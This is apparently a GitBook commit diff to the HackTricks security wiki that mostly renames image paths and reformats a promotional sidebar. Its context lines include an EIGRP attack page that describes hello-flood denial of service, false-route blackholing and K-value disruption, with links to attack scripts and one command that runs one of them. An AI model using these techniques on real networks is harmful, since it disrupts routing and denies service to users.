GitBook: [#3673] No subject

README.md

@@ -32,7 +32,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
 
 ### [SYN CUBES](https://www.syncubes.com/)
 
-<figure><img src=".gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (10) (2).png" alt=""><figcaption></figcaption></figure>
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -69,7 +69,7 @@ Get Access Today:
 
 ### [HACKENPROOF](https://hackenproof.com/)
 
-<figure><img src=".gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
 
 **HackenProof is home to all crypto bug bounties.**
 
@@ -123,12 +123,12 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their *
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

cryptography/certificates.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (10) (2).png" alt=""><figcaption></figcaption></figure>
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -195,7 +195,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
 openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile  cacert.cer
 ```
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -203,12 +203,12 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -266,7 +266,7 @@ Opera **stores browser history and download data in the exact same format as Goo
 * **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
   * **fraud\_protection\_enabled** should be **true**
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -274,12 +274,12 @@ Opera **stores browser history and download data in the exact same format as Goo
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -111,7 +111,7 @@ Other tables inside this database contain more interesting information:
 * **deleted\_fields**: Dropbox deleted files
 * **date\_added**
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -119,12 +119,12 @@ Other tables inside this database contain more interesting information:
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -92,12 +92,12 @@ Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automat
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -40,12 +40,12 @@ There are also several Python packages for working with the PDF file format, lik
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)****
+**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
 
 ## Attacking EIGRP Protocol <a href="#0f82" id="0f82"></a>
 
@@ -84,7 +84,7 @@ After that, the neighborhood between the legitimate EIGRP routers is established
 
 EIGRP Neighborship with GW1 (10.10.100.100):
 
-<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (5) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 EIGRP Neighborship with GW2 (10.10.100.200):
 
@@ -103,7 +103,7 @@ Thus, after establishing the neighborhood, we know about the existence of these
 
 ### Fake EIGRP Neighbors <a href="#51ee" id="51ee"></a>
 
-**I have found that generating and quickly sending out mass EIGRP hello packets overloads the router’s CPU, which in turn can open the door to a DoS attack.** I have developed a little [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) **** script, but it seems to me that the script lacks the speed of sending out the packets. **It’s caused by GIL**, which prevents the **sprayhello** function from running in multiple threads per second. **Eventually I’ll rewrite the script in C.**
+**I have found that generating and quickly sending out mass EIGRP hello packets overloads the router’s CPU, which in turn can open the door to a DoS attack.** I have developed a little [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) \*\*\*\* script, but it seems to me that the script lacks the speed of sending out the packets. **It’s caused by GIL**, which prevents the **sprayhello** function from running in multiple threads per second. **Eventually I’ll rewrite the script in C.**
 
 <figure><img src="../../.gitbook/assets/image (2) (6) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -121,7 +121,7 @@ Arguments of the script:
 
 ### EIGRP Blackhole <a href="#5c04" id="5c04"></a>
 
-The essence of this attack is a simple injection of a false route that will poison the routing table. Traffic to, **say, the** `10.10.100.0/24` **network will go nowhere, causing a denial of service. Such an attack is called a Blackhole.** The script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) **** will be the tool used to perform it. For this example, I will send traffic destined for host `172.16.100.140/32` to the black hole.
+The essence of this attack is a simple injection of a false route that will poison the routing table. Traffic to, **say, the** `10.10.100.0/24` **network will go nowhere, causing a denial of service. Such an attack is called a Blackhole.** The script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) \*\*\*\* will be the tool used to perform it. For this example, I will send traffic destined for host `172.16.100.140/32` to the black hole.
 
 <figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
 
@@ -141,15 +141,15 @@ Arguments of the script:
 
 **Our host seems to be in trouble :)**
 
-<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
 
 As you can see, the host loses connectivity to host **172.16.100.140/32** due to route injection.
 
 ### Abusing K-Values <a href="#25aa" id="25aa"></a>
 
-To establish EIGRP neighbors, **routers use special K-values.** They must be the same among all EIGRP neighbors. If at least one K-value does not match, the EIGRP domain will crash and the neighborhood will be broken. We will use [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) **** to perform this attack**.**
+To establish EIGRP neighbors, **routers use special K-values.** They must be the same among all EIGRP neighbors. If at least one K-value does not match, the EIGRP domain will crash and the neighborhood will be broken. We will use [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* to perform this attack\*\*.\*\*
 
-<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
 
 Script arguments:
 
@@ -163,7 +163,7 @@ Script arguments:
 ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
 ```
 
-<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p>Dump of traffic during a neighborhood disruption</p></figcaption></figure>
